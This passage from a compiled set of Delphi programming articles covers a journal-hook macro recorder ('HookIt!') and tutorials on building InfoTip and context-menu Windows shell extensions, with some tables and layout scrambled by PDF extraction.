} { *********************************************************************** } function Playback(lpFileName: PChar; EndPlayProc: TcbPlaybackFinishedProc; AppData: Longint): Integer {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF} var TheFile: File; begin Playback := 0; If PMsgBuff <> nil then exit; GetMem(PMsgBuff, Sizeof(TMsgBuff)); If PMsgBuff = nil then exit; Assign(TheFile, lpFileName); {$I-} Reset(TheFile, Sizeof(TEventMsg)); {$I+} if IOResult <> 0 then begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; exit; end; {$I-} MsgCount := FileSize(TheFile); {$I+} if IOResult <> 0 then begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; {$I-} Close(TheFile); {$I+} if IOResult <> 0 then exit; exit; end; if MsgCount = 0 then begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; {$I-} Close(TheFile); {$I+} if IOResult <> 0 then exit; exit; end; {$I-} Blockread(TheFile, PMsgBuff^, MsgCount); {$I+} if IOResult <> 0 then begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; {$I-} Close(TheFile); {$I+}
714
if IOResult <> 0 then exit; exit; end; {$I-} Close(TheFile); {$I+} if IOResult <> 0 then begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; exit; end; CurrentMsg := 0; ReportDelayTime := True; SysModalOn := False; {save the application's callback procedure} cbPlaybackFinishedProc := EndPlayProc; {save the application's defined data parameter} cbAppData := AppData; StartTime := GetTickCount; TheHook := SetWindowsHookEx(WH_JOURNALPLAYBACK, JournalPlayBackProc, hInstance, 0); if TheHook = 0 then begin FreeMem(PMsgBuff, Sizeof(TMsgBuff)); PMsgBuff := nil; exit; end; Playback := 1; end; exports JournalRecordProc index 1 name 'JOURNALRECORDPROC' resident, StartRecording index 2 name 'STARTRECORDING' resident, StopRecording index 3 name 'STOPRECORDING' resident, JournalPlayBackProc index 4 name 'JOURNALPLAYBACKPROC' resident, Playback index 5 name 'PLAYBACK' resident; begin PMsgBuff := nil; end. Resource statements to build: HOOKIT16.RES and HOOKIT32.RES Note: Save the source as HOOKIT16.RC for 16 bit environments or HOOKIT32.RC for 32 bit environments. Use the Borland Resource Command Line Compiler BRCC.EXE to compile a 16 bit resource file and BRCC32.EXE to compile a 32 bit resource file. HOOKIT DIALOG 15, 15, 63, 60 STYLE WS_OVERLAPPED | WS_VISIBLE | WS_CAPTION | WS_MINIMIZEBOX
715
CLASS "HOOKITDIALOGCLASS" CAPTION "HookIt!" BEGIN CONTROL "Start Recording", 101, "BUTTON", BS_PUSHBUTTON | WS_CHILD | WS_GROUP | WS_TABSTOP, 0, 0, 63, 15 CONTROL "Stop Recording", 102, "BUTTON", BS_PUSHBUTTON | WS_CHILD | WS_GROUP | WS_TABSTOP, 0, 15, 63, 15 CONTROL "PlayBack", 103, "BUTTON", BS_PUSHBUTTON | WS_CHILD | WS_GROUP | WS_TABSTOP, 0, 30, 63, 15 CONTROL "Done!", 1, "BUTTON", BS_PUSHBUTTON | WS_CHILD | WS_GROUP | WS_TABSTOP, 0, 45, 63, 15 END
| WS_VISIBLE | WS_VISIBLE | WS_VISIBLE WS_VISIBLE |
Source code for HOOKIT.EXE Note: Save the source as HOOKIT.PAS for Pascal or HOOKIT.DPR for Delphi. program HookIt; {$D HookIt!} {$C MOVEABLE PRELOAD PERMANENT} {$IFDEF Win32} {$R HOOKIT32.RES} uses Windows, Messages; type TwMsg = Longint; TwParam = Longint; TlParam = Longint; {$ELSE} {$R HOOKIT16.RES} uses {$IFDEF VER15} WinTypes, WinProcs, Win31; {$ELSE} {$IFDEF VER70} WinTypes, WinProcs, Win31; {$ELSE} WinTypes, WinProcs, Messages; {$ENDIF} {$ENDIF} type TwMsg = Word; TwParam = Word; TlParam = Longint; {$ENDIF} type TWinVersion WinMajor : WinMinor : DosMajor : DosMinor :
= record Byte; Byte; Byte; Byte;
716
end; TcbPlaybackFinishedProc = Procedure(AppData: Longint) {$IFDEF Win32} stdcall; {$ELSE} ; {$ENDIF} const APPNAME = 'HookIt!'; CLASSNAME ='HOOKITDIALOGCLASS'; ID_BTN_START_RECORDING = 101; ID_BTN_STOP_RECORDING = 102; ID_BTN_PLAYBACK = 103; ID_BTN_DONE = IDOK; FILENAME = 'HOOKIT.MAC'; var PlaybackFinishedProc :TcbPlaybackFinishedProc; function StartRecording: Integer {$IFDEF Win32} stdcall; {$ELSE} ; far; {$ENDIF} external 'HOOKLIB' index 2; function StopRecording(lpFileName: PChar): Integer {$IFDEF Win32} stdcall; {$ELSE} ; far; {$ENDIF} external 'HOOKLIB' index 3; function Playback(lpFileName: PChar; EndPlayProc: TcbPlaybackFinishedProc; AppData: Longint): Integer {$IFDEF Win32} stdcall; {$ELSE} ; far; {$ENDIF} external 'HOOKLIB' index 5; procedure PlaybackFinished(AppData: Longint) {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF} begin EnableWindow(GetDlgItem(hWnd(AppData), ID_BTN_START_RECORDING), True); EnableWindow(GetDlgItem(hWnd(AppData), ID_BTN_STOP_RECORDING), False); EnableWindow(GetDlgItem(hWnd(AppData), ID_BTN_PLAYBACK), True); EnableWindow(GetDlgItem(hWnd(AppData), ID_BTN_DONE), True); SetFocus(GetDlgItem(hWnd(AppData), ID_BTN_PLAYBACK)); end;
717
function HookitDialogProc(Dialog: HWnd; Msg: TwMsg; WParam: TwParam; LParam: TlParam): Longbool {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF} begin HookitDialogProc := True; {do any default class handling here for HookItDlg} HookitDialogProc := Longbool(DefDlgProc(Dialog, Msg, WParam, LParam)); end; function MainDlgProc(Dialog: HWnd; Msg:TwMsg; WParam:TwParam; LParam:TlParam): Bool {$IFDEF Win32} stdcall; {$ELSE} ; export; {$ENDIF} begin MainDlgProc := True; case Msg Of WM_INITDIALOG: begin EnableWindow(GetDlgItem(Dialog, ID_BTN_START_RECORDING), True); EnableWindow(GetDlgItem(Dialog, ID_BTN_STOP_RECORDING), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_PLAYBACK), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_DONE), True); exit; end; WM_COMMAND: begin case WParam of ID_BTN_START_RECORDING: begin EnableWindow(GetDlgItem(Dialog, ID_BTN_STOP_RECORDING), True); SetFocus(GetDlgItem(Dialog, ID_BTN_STOP_RECORDING)); EnableWindow(GetDlgItem(Dialog, ID_BTN_START_RECORDING), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_PLAYBACK), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_DONE), False); if StartRecording = 0 then begin EnableWindow(GetDlgItem(Dialog, ID_BTN_START_RECORDING), True); SetFocus(GetDlgItem(Dialog, ID_BTN_START_RECORDING)); EnableWindow(GetDlgItem(Dialog, ID_BTN_STOP_RECORDING), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_PLAYBACK), False);
718
EnableWindow(GetDlgItem(Dialog, ID_BTN_DONE), True); Messagebox(Dialog, 'Unable to start recording!', APPNAME, MB_OK); end; exit; end; ID_BTN_STOP_RECORDING: begin if StopRecording(FILENAME) > 0 then begin EnableWindow(GetDlgItem(Dialog, ID_BTN_START_RECORDING), True); EnableWindow(GetDlgItem(Dialog, ID_BTN_PLAYBACK), True); SetFocus(GetDlgItem(Dialog, ID_BTN_PLAYBACK)); end else begin EnableWindow(GetDlgItem(Dialog, ID_BTN_START_RECORDING), True); SetFocus(GetDlgItem(Dialog, ID_BTN_START_RECORDING)); EnableWindow(GetDlgItem(Dialog, ID_BTN_PLAYBACK), False); end; EnableWindow(GetDlgItem(Dialog, ID_BTN_STOP_RECORDING), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_DONE), True); exit; end; ID_BTN_PLAYBACK: begin EnableWindow(GetDlgItem(Dialog, ID_BTN_START_RECORDING), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_STOP_RECORDING), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_PLAYBACK), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_DONE), False); if PlayBack(FILENAME, PlaybackFinishedProc, Dialog) = 0 then begin EnableWindow(GetDlgItem(Dialog, ID_BTN_START_RECORDING), True); EnableWindow(GetDlgItem(Dialog, ID_BTN_STOP_RECORDING), False); EnableWindow(GetDlgItem(Dialog, ID_BTN_PLAYBACK), True); EnableWindow(GetDlgItem(Dialog, ID_BTN_DONE), True); SetFocus(GetDlgItem(hWnd(Dialog), ID_BTN_PLAYBACK)); end; exit; end; ID_BTN_DONE: begin EndDialog(Dialog, ID_BTN_DONE); exit; end;
719
end; {wParam} end; {WM_COMMAND} WM_CLOSE: begin FreeProcInstance(@PlaybackFinishedProc); EndDialog(Dialog, IDOK); exit; end; end; MainDlgProc := False; end; procedure Init; var WindowClass: TWndClass; WinVer: TWinVersion; begin Longint(WinVer) := GetVersion; if ((WinVer.WinMajor < 3) OR ((WinVer.WinMajor = 3) AND (WinVer.WinMinor < 10)) ) then begin Messagebox(0, 'Microsoft Windows 3.10 or greater required!', APPNAME, MB_OK); halt; end; @PlaybackFinishedProc := MakeProcInstance(@PlaybackFinished, hInstance); If @PlaybackFinishedProc = nil then begin Messagebox(0, 'Cannot create instance thunk!', APPNAME, MB_OK); halt; end; if FindWindow(CLASSNAME, APPNAME) <> 0 then begin Messagebox(0, 'Multiple Sessions not allowed', APPNAME, MB_OK); halt; end else begin WindowClass.Style := CS_BYTEALIGNWINDOW; WindowClass.lpfnWndProc := @HookItDialogProc; WindowClass.cbClsExtra := 0; WindowClass.cbWndExtra := DLGWINDOWEXTRA; WindowClass.hInstance := hInstance;
720
WindowClass.hIcon := LoadIcon(0, IDI_APPLICATION); WindowClass.hCursor := LoadCursor(0, IDC_ARROW); WindowClass.hbrBackground := GetStockObject(WHITE_BRUSH); WindowClass.lpszMenuName := nil; WindowClass.lpszClassName := CLASSNAME; if not Bool(RegisterClass(WindowClass)) then begin Messagebox(0, 'RegisterClass Failed!', APPNAME, MB_OK); halt; end; end; end; procedure MyWinMain; var WindowProc:TFarProc; begin WindowProc:=MakeProcInstance(@MainDlgProc, hInstance); DialogBox(hInstance, 'HOOKIT', 0, WindowProc); FreeProcInstance(WindowProc); end; {WinMain} begin Init; MyWinMain; end. Conclusion: While writing Windows applications gets easier as development tools get more sophisticated, there will be times when you must "bite the bullet" and a interface to new functions that are not handled by your current tools. Remember... before you explore unchartered paths, check available resources for documentation that may help to make your journey a pleasant and rewarding experience.
721
RTL reference|Glossary|Tips/Tricks|FREE App/VCL|Best'O'Net|Books|Link To
Windows Shell Extensions – Info Tip Page 1: Shell extensions allow developers to add functionality to the existing Windows shell.
Creating the InfoTip Shell Extension, which lets us, control the information that appears in Explorer when the mouse hovers over a file. Creating a Delphi Infotip that will display the FileName, the project type (Program or Library), the Project Name (from the source file), and the size of the file in bytes. Article submitted by: Larry J. Rutledge With each new release of Windows, its shell becomes more and more advanced and adds many new useful features. One of the ways this is done is through shell extensions. These extensions allow developers to add functionality to the existing Windows shell. Some examples of shell extensions are Context Menus (menus that change based on what object has focus when you right-click), Property Sheet Handlers (tabbed pages that appear when the Properties menu item is selected from an object’s context menu), Icon Overlays (appear as the arrow on top of an icon that points to a shortcut or the hand that appears on shared folders), Folder Customization, and many, many more. Over the course of a few articles we will examine several of these extensions and, in particular, how to build them in Delphi. There is plenty of information about shell extensions available from the Microsoft web site, but these articles will bring it to the Delphi audience. In this first article we will look at the InfoTip Shell Extension, which lets us control the information that appears in Explorer when the mouse hovers over a file. Important Note The following paragraph from Dino Esposito’s article, "Windows 2000 UI Innovations: Enhance Your User’s Experience with New Infotip and Icon Overlay Shell Extensions" (MSDN Magazine, March 2000) is a good description of what versions of Windows these extensions apply to: "…I should point out that not all the features I'll cover here are completely new. Many of them were already introduced with the Desktop Update – a separate shell update available both for Windows 9x and Windows NT 4.0. The Desktop Update shipped with Microsoft Internet Explorer 4.0 and Windows 98. Note that the Desktop Update is not part of Internet Explorer 5.0. So if you want to install it on Windows NT 4.0, you need to install Internet Explorer 4.0 first, making sure you select the Desktop Update option. Internet Explorer 5.0 will upgrade an existing Desktop Update on Windows NT 4.0 and Windows 95, but will not install it from scratch." Shell Extension – Quick Overview Shell Extensions are implemented as In Process COM servers. Windows Explorer invokes the appropriate extension in response to shell-wide events. Explorer was designed to respond in very specific ways when the user performs various functions within its shell. The first thing Explorer does is check for any modules that have been registered for a specific event and if one exists it attempts to load the module. To be a valid shell extension, the COM server must implement an interface that defines the specific behavior for the desired extension and it must implement an interface that defines its initialization behavior. Finally, to be a valid shell extension, the COM server must follow the approved method of registering itself with the system. The following table from Dino Esposito's article "Windows 2000 UI innovations: Enhance Your User's Experience with New Infotip and Icon Overlay Shell Extensions" (MSDN Magazine, March 2000), lists all the types of shell extensions available today, the minimum shell
722
March 2000), lists all the types of shell extensions available today, the minimum shell version each requires, the involved interfaces, and a brief description: Type
Apply To
Version
Context Menu
File class and shell’s object
Windows 95+
IContextMenu, IContextMenu2, or IContextMenu3
Allows you to add new items to a shell object’s context menu.
Right Drag and Drop
File class and shell’s object
IContextMenu, IContextMenu2, or IContextMenu3
Allows you to add new items to the context menu that appears after your right drag and drop files.
Drawing Shell Icons
File class and shell’s object
IExtractIcon
Lets you decide at runtime which icon should be displayed for a given file within a file class.
Property Sheet
File class and shell’s object
IShellPropSheetExt
Lets you insert additional property sheet pages to the file class Properties dialog. It also works for Control Panel applets.
Left Drag and Drop
File class and shell’s object
IDropTarget
Lets you decide what to do when an object is being dropped (using the left mouse button) onto another one within the shell.
Clipboard
File class and shell’s object
IDataObject
Lets you define how an object is to be copied to and extracted from the clipboard.
Interface Involved
Description
Windows 95+
Windows 95+
Windows 95+
Windows 95+
Windows 95+
Windows 95+
File Hook
ICopyHook
Lets you control any file operation that goes through the shell. While you can permit or deny them, you aren’t informed about success or failure.
Program Execution
Explorer
IShellExecuteHook
Lets you hook any program’s execution that passes through the shell.
Infotip
File class and shell’s object
IQueryInfo
Lets you display a short text message when the mouse hovers over documents of a certain file type.
Column
Folders
IColumnProvider
Lets you add a new column to the Details view of Explorer.
Icon Overlay
Explorer
IShellIconOverlay
Lets you define custom images to be used as icon overlays.
Search
Explorer
IContextMenu
Lets you add a new entry on the Start menu’s Search menu.
Cleanup
Cleanup Manager
IEmptyVolumeCache2
Lets you add a new entry to the Cleanup Manager to recover disk space.
Desktop Update
Desktop Update
Windows 2000
Windows 2000
Windows 2000
Windows 2000
723
Next page > InfoTip – Introduction and Overview > Page 1, 2, 3
Windows Shell Extensions – Info Tip Page 2: InfoTip – Introduction and Overview; Implementing Infotip Extensions
InfoTip – Introduction and Overview Infotip's are hint windows that pop up when the mouse hovers over any file. If an extension has not been registered for the file type a default Infotip appears (see Figure 1 for an example of this), but you can create your own extension to display any information you want for the specific file type. Office 2000 installs default handlers for MS Word and MS Excel that display the Name, Author and Title from the document properties. Infotip extensions differ from other shell extensions in its registration, we'll discover the differences later when we talk about registration of our Infotip extensions.
Implementing Infotip Extensions An Infotip Extension is an In-Process (Inproc) COM Server. This just means that it is a Windows DLL that exports the necessary methods to be a valid ActiveX control. Infotip Extensions also implement IQueryInfo and IPersistFile and must register itself into the registry. Because IQueryInfo and IPersistFile are interfaces, they don't contain code for their defined methods. It is required that our object implement every method defined in both of these interfaces; however, some of the methods are not necessary for our Infotip extension so we simply return E_NOTIMPL to indicate that these are not implemented. IQueryInfo provides the text to display in the hint window and contains two methods: · GetInfoFlags – Retrieves the information flags for an item. Microsoft states that this is currently unused, so we return E_NOTIMPL. · GetInfoTip – Retrieves the text of the Infotip. GetInfoTip is defined as follows: function GetInfoTip(dwFlags: DWORD; var ppwszTip: PWideChar): HResult; stdcall; .dwFlags – currently not used .ppwszTip – Address of a Unicode string pointer that receives the tip string pointer. Important Note The ppwszTip parameter of the GetInfoTip method is a pointer to a Unicode string buffer that contains the text to display in the tip. This buffer must be allocated using the standard shell memory allocator because the buffer is allocated by our application, but freed by the shell. To ensure that everything happens in a thread-safe way, use SHGetMalloc to get the pointer to the shell's memory allocator – an object implementing IMalloc. Then, use IMalloc's Alloc method to allocate the memory needed to hold the Unicode representation of the
724
Infotip text. The accompanying source code contains the standard code you will use for all Infotip Extensions you create. Simply use the same code and your extensions will be shell friendly and thread-safe. IPersistFile is what the shell uses to provide the extension with information about the file the user is hovering over. The interface defines five methods: .IsDirty – checks an object for changes since it was last saved to its current file. We don't need this for Infotip extensions so we return E_NOTIMPL. .Load – opens the specified file and initializes an object from the file contents. We use this method to retrieve the name of the file the user is hovering over. .Save – saves the object into the specified file. We don't use it, so return E_NOTIMPL. .SaveCompleted – notifies the object that it can revert from NoScribble mode to Normal mode. We don't use it, so return E_NOTIMPL. .GetCurFile – gets the current name of the file associated with the object. We don't use it, so return E_NOTIMPL. Load is defined as follows: function Load(pszFileName: PoleStr; dwMode: LongInt ): HResult; stdcall; .pszFileName – points to a zero-terminated string containing the absolute path of the file to open. .dwMode – specifies some combination of the values from the STGM enumeration to indicate the access mode to use when opening the file. We are only using the IPersistFile interface to obtain the path and filename of the file; we are not actually using the interface to access the file so we can ignore the flags. Our standard implementation of the Load method will be to store the contents of pszFileName to a private variable to be used by IQueryInfo::GetInfoTip to locate the file. Next page > Delphi project: Infotip; Registering Infotip Extensions > Page 1, 2, 3
Windows Shell Extensions – Info Tip Page 3: Delphi project: Infotip; Registering Infotip Extensions
More of this Feature • Page 1: Shell extensions • Page 2: InfoTip overview Printer friendly version
Delphi project: Infotip Source download Compiled Project (169KB) Contains DPRInfoTip.dll. Project Files (6KB) - Contains the Delphi project source files. Registration File (1KB) Contains two registration files (one for Win9x and one for Win2000).
The accompanying source code contains a complete Infotip Extension for .DPR (Delphi Project files). This Infotip will display the FileName, the project type (Program or Library), the Project Name (from the source file), and the size of the file in bytes.
To begin, we need to create an automation object called DPRInfoTip. First, click File | New... to open the Object Repository, then click on the ActiveX tab and select the ActiveX Library. This will generate an empty ActiveX library and export the necessary function required to be a valid automation object. Next, click File | New... again and select the ActiveX tab and select the Automation Object. When the Automation Object Wizard opens, enter DPRInfoTip as the CoClass name (see Figure 2 below for an example of how the dialog should look). Leave the remaining options with their default values and click OK, this will generate the basic Type Library and
725
implement a skeleton for the IDPRInfoTip interface, which gets automatically generated.
Once the files have been created the next thing we need to do is to add support for the additional interfaces that must be supported: TDPRInfoTip = class(TAutoObject, IDPRInfoTip, IQueryInfo, IPersistFile, IPersist); Note: We need to implement IPersist also because IPersistFile inherits from IPersist. The accompanying source code can be used for all InfoTip Extensions, the only code that must be altered is the GenerateTip method. This is the method that determines the text to display in the InfoTip. In the Initialization method, we call SHGetMalloc, which causes Windows to allocate some memory and return a pointer to it in the pMalloc private variable. In the destructor, we set pMalloc equal to Nil. This releases our hold on the memory so the Windows shell can release the memory when necessary. IPersistFile::Load When the mouse hovers over a file, the shell calls the Load method to provide the name of the file. Our implementation stores the name of the file in a private variable, FFile, so it will be available when we need to generate the InfoTip text. function TDPRInfoTip.Load (pszFileName: POleStr; dwMode: Integer): HResult; begin FFile := pszFileName; Result := S_OK;
end; For all remaining IPersistFile methods, simply return E_NOTIMPL. IQueryInfo::GetInfoTip When the shell is ready to display the InfoTip, it calls the GetInfoTip method to retrieve the text to display. Our implementation calls the custom GenerateTip method in order to determine the text to display. It then is converted to a Windows compatible WideString and returned in the ppwszTip parameter. The GenerateTip method opens the .DPR file and reads contents into a string. The text to be returned first is assigned the filename of the selected file, then the type is assigned the first word in the project file; which is either Program or Library. Finally the project name is extracted from the remainder of the first line and the size of the file in bytes is determined by the size of the stream. The GenerateTip method can be customized to fit the needs of the InfoTip Extension being developed. Registering Infotip Extensions There are two steps to register an InfoTip Extension: 1. Register the COM DLL using regsvr32.exe (Start..Run dialog box) regsvr32 "C:\...\DPRInfoTip.dll"
726
2. Add a reference to the associated extension (.dpr) to the HKEY_CLASSES_ROOT registry key. The default value for this new key must be the CLSID of the COM object that implements the Shell Extension. This can be obtained from the Type Library file that was generated by Delphi (the filename ends in "_TLB.pas"). For our example extension the CLSID is named CLASS_DPRInfoTip and contains the value "{B20433A8-D083-11D4-993A00D00912C440}". The easiest way to make the registry changes is to make a copy of the .REG file provided with the source code for this project. Change the CLSID and file extension to the associated values. One important note, it is necessary to "approve" shell extensions under Windows NT and 2000. This means that you must be logged into the machine with Administrator rights in order to register the extension. That's all folks That's it for this article. In the future articles we'll see how to use Delphi to implement other shell extensions. In the mean time, if you have any questions regarding this article, please post them to the Delphi Programming Forum.
727
Shell Extensions in Delphi 3 by Ray Konopka December/January 1998, Vol. 8, No. 5 -- Download Source Code
The Explorer is the central user interface metaphor in Windows, and your Delphi applications can embed special hooks right into Explorer. Welcome to the third part of my series on COM support in Delphi 3. In part one, I introduced object interfaces and explained how they are defined using the interface keyword. In part two, I described how interfaces affect the creation of automation servers and controllers in Delphi 3. In this issue, I will describe how to extend the Windows Explorer shell by creating custom COM servers that implement specific, you guessed it, interfaces.
What Are Shell Extensions? Shell extensions, as the term implies, provide a way to extend the abilities of the Windows 95 or NT 4.0 Explorer. There are several different types of shell extensions, which are categorized into two groups. While Table 1 summarizes the extensions that are associated with a particular file type, Table 2 lists the ones that are associated with file operations.
728
A shell extension is implemented as a COM object that resides inside an in-process COM server. Recall from part one that an in-process server is just a DLL, and that Delphi 3 calls them ActiveX Libraries. The Windows Explorer accesses the shell extension through interfaces. Consider the following: In the example that I presented in the last issue, the automation controller called the methods defined in the IViewer interface supported by the automation server. For shell extensions, the Windows Explorer itself functions as the controller and calls the methods in the COM object by using an interface reference. Since Windows itself is calling the methods of a shell extension, the interfaces that Windows uses for accessing shell extensions are predefined. So, instead of defining new methods and properties of an interface like we do when creating an automation server, creating a shell extension involves implementing the appropriate methods defined by the shell extension interfaces. Unfortunately, actually implementing the methods can be a challenge. We’ll cover the details of these interfaces shortly.
Creating a Shell Extension Unlike automation objects, there is no expert defined in Delphi that makes it easy to create a shell extension COM object. In fact, we have to code everything by hand. To demonstrate the process, we’ll construct a new context menu handler that displays a “View as Text” menu item when the user clicks on a Delphi form file using mouse button 2. If the user selects this menu item, the form file viewer application that I presented in part two is used to display the text representation of the selected form file. To create a shell extension, you must first create the COM server that will hold the extension, or handler. Select the File|New menu item and then switch to the ActiveX page. Select the ActiveX Library icon and then click the OK button to instruct Delphi to create a new project file for the library. Next, create a new unit to contain the implementation of the shell extension. Select the File|New menu item and then double-click on the Unit icon. Once the new unit is created, we need to declare the COM object class—that is, we must declare a new class that supports the particular interfaces of the shell extension. For a context menu, the class must support the IShellExtInit and IContextMenu interfaces. Of course, each of the methods in these interfaces must be defined in the implementation section of the unit. Listing 1 is the source code for the FormView ActiveX library, and Listing 2 is the complete source code for the FormViewImpl unit, which implements the TFormViewContextMenu class. As you can see, this class descends from TComObject, which is defined in the ComObj unit, and 729
lists IShellExtInit and IContextMenu as its supported interfaces. Recall that all interfaces are derived from IUnknown, so this class also supports the IUnknown interface. In addition, all interfaces listed in TComObject are supported. However, for our shell extension, all we need to be concerned with are the methods in IShellExtInit and IContextMenu.
The IShellExtInit Interface To initialize a context menu shell extension, Windows uses the IShellExtInit interface. In addition to the standard IUnknown methods, IShellExtInit declares an Initialize method. However, the TFormViewContextMenu class does not define an Initialize method. Instead, it defines the ShellInit method and uses a method resolution clause to map the IShellExtInit.Initialize method to ShellInit. The reason for doing this is because the TComObject class defines a virtual Initialize method that is not compatible with IShellExtInit. (Method resolution clauses were covered in part one of this series.) IShellExtInit.Initialize (and ShellInit) receive three parameters. The first identifies the folder containing the file objects being manipulated. The second parameter is a reference to an IDataObject interface, which is used to obtain the name of the selected files. The third parameter is the ProgID for the type of file that is selected. Although the selected file names are stored in the same way that Windows stores file names during a drag operation, extracting the name of the selected file is not as simple as calling DragQueryFile. First, the information referenced by the DataObject must be converted into a storage medium that can be referenced within the shell extension. This is accomplished by setting up a TFormatEtc record and then calling the GetData method of the DataObject. Now the DragQueryFile can be called to obtain the name of the selected file, which is then stored in the private FFileName field. Notice in Listing 2 that we obtain the file name only if one file is selected.
The IContextMenu Interface After the context menu handler is initialized via the IShellExtInit interface, Windows uses the IContextMenu interface to call the other methods of our context menu handler. Specifically, it will call QueryContextMenu, GetCommandString, and InvokeCommand. Let’s take a closer look at each one. The QueryContextMenu method is called just before Windows displays a file object’s context menu. Implementing this method allows your shell extension to add menu items to the context menu. This is accomplished by calling the InsertMenu function and passing it the handle to the context menu, which is the first parameter to QueryContextMenu. Although having access to the menu’s handle would suggest that you have complete access to the menu, you don’t. In fact, there are several restrictions in what you can do with the context menu. First, you can only add items (no moving or deleting items), and you are only allowed to add string items. In addition, you must insert the new items starting at the position indicated by the Index parameter. And finally, you must use the CmdFirst parameter as the starting menu identifier for any menu items added. The Flags parameter passed to QueryContextMenu must be checked to make sure it is safe to add new menu items. The Flags parameter must contain at least one of the following values before a new menu item can be added: CMF_NORMAL, CMF_VERBSONLY, and CMF_EXPLORE. The CMF_NORMAL flag indicates that the selected file is located on the Windows Desktop. The CMF_VERBSONLY flag indicates that the selected file object is actually a shortcut to another file. The CMF_EXPLORE flag indicates that the file is being selected within a separate instance of Windows Explorer. 730
To demonstrate the effect of each flag, the QueryContextMenu method of the form viewer context menu alters the menu string depending on which flag is specified. Each situation is illustrated in Figures 1 through 3.
Figure 1: Selecting a form file within the Explorer.
Figure 2: Selecting a form file on the desktop.
731
Figure 3: Selecting a shortcut to a form file. Take a closer look at the Explorer status bar in Figure 1. Notice that the status bar displays a help string associated with the selected item in the context menu. The Explorer requests this string from our context menu handler by calling the GetCommandString method. The Cmd parameter to this method indicates which menu item is selected, and the Flags parameter is used to determine when to return a help string. In particular, the help string is returned in the Name parameter only when Flags is equal to GCS_HELPTEXT. When the user selects one of the menu items added by a context menu handler, Windows calls the InvokeCommand method. This method receives a single record parameter specifying the command to invoke and other useful information such as a window handle to use when displaying message boxes. The InvokeCommand method for our form viewer context menu uses the CreateProcess function to start the FormFileViewer application that I presented in the last issue. The location of the viewer is found in the Registry, which the viewer updates whenever it is executed. Therefore, the shell extension will always be able to find the viewer. The file name of the select form file is passed to the viewer on the command line. The viewer processes the command line and displays the contents of the form file as shown in Figure 4.
732
Figure 4: Form viewer started by a shell extension. Now that all of the necessary methods have been implemented, there is one more item that must be added to the FormViewImpl unit.
Creating a COM Object Factory In order for our COM object to be created whenever the FormView DLL is loaded, we need to create an instance of a class factory that specifically creates an instance of our shell extension object. Recall from part one that I prefer the term object factory instead of class factory because a class factory creates objects and not classes. In the initialization section of the unit implementing the shell extension COM object, you need to create an instance of the object factory. Fortunately, this is quite easy, thanks to the predefined classes in Delphi 3. In particular, we use the TComObjectFactory class defined in the ComObj unit. Notice that the class name and ClassID of the shell extension are passed to the constructor of the factory. Because shell extensions are implemented as COM objects, and because Windows itself accesses them, we must generate a ClassID for any new shell extensions. But how do we do that? In the examples presented in part two of this series, Delphi automatically generated ClassIDs whenever one was needed. Fortunately, Delphi 3 provides the means to manually generate a ClassID within the code editor. Simply press the Ctrl+Shift+G key combination and Delphi automatically inserts a new GUID into the code editor. This is how the TGUID constant declared at the beginning of the FormViewImpl unit was created.
Registering a Shell Extension Now that the FormViewImpl unit is completed, we can compile the FormView project and generate the COM Server DLL that Windows will load whenever the user clicks on a Delphi form file using mouse button 2. But how does Windows know that it should load the FormView.dll? As usual, Windows relies on specific entries in the Registry to accomplish this. There are three ways the entries can be made in the Registry. First, they can be entered manually 733
using RegEdit, but this is not recommended because incorrectly editing the Registry can cause system problems. The second option is to merge the entries into the Registry. This involves creating a text file (with a REG extension) that contains the new entries. Clicking mouse button 2 on the file displays a context menu containing a Merge command. Selecting this command merges the items in the file into the Registry. This approach is safer than using RegEdit but requires customizing the file for each user because the complete path of the DLL must be specified in the REG file. The third option is to add the entries programmatically. Most installation programs (for example, WISE Installation System) provide a way to modify the Registry, and since the installation program knows where the DLL is installed, the correct path can be determined during the installation process. This makes this approach the most appropriate for registering shell extensions. Another alternative to using a custom installation program is to create a simple Delphi program that makes the necessary Registry entries. This is the approach I took for this article. Listing 3 shows the source code for the RegMain unit, which is the main form file unit in the FormViewReg program. Simply run this program from the same folder that contains the FormView.dll and the required entries are made in the Registry. Note that if you decide to move the FormView.dll, you will need to rerun the FormViewReg program. The actual entries that need to be added depend on the type of shell extension, but all shell extensions require some basic settings. First, the ClassID of your extension must be registered under the HKEY_CLASSES_ROOT\CLSID key. The CLSID key contains a list of class identifier keys. Within each ClassID key, you must add an InProcServer32 key that specifies the location of the shell extension DLL. The information that the shell uses to associate a shell extension with a particular file type is stored under the shellex key, which is under the ProgID for the file type. Context menu handlers are registered under the ContextMenuHandlers key. Within this key, the ClassID of the handler is listed. The FormCreate event handler in Listing 3 shows the entries that must be made for the Delphi form viewer context menu.
For More Information I relied on two sources of information in developing the shell extension for this article. The first one is the Microsoft Development Network (MSDN). Since Microsoft defines the shell extension interfaces, this is the best place to find detailed information about what the methods of each interface must accomplish. The second source of information came from the Delphi 3 source code—in particular, the ShlObj unit, which has quite a few comments regarding the shell extension interfaces.
On the Drawing Board Over the past three installments of “Delphi by Design,” the focus has been on COM support in Delphi 3. Along the way, we’ve seen how interfaces are used to manipulate objects, how interfaces define the abilities of automation servers, and how Windows itself relies on them. All of this information serves as a foundation for the topic I’ll be covering in the next issue: How to convert a native Delphi component into an ActiveX control. v Copyright © 1998 The Coriolis Group, Inc. All rights reserved.
734
Listing 1 - FormView.dpr library FormView; uses ComServ, FormViewImpl in 'FormViewImpl.pas'; exports DllGetClassObject, DllCanUnloadNow, DllRegisterServer, DllUnregisterServer; {$R *.RES} begin end.
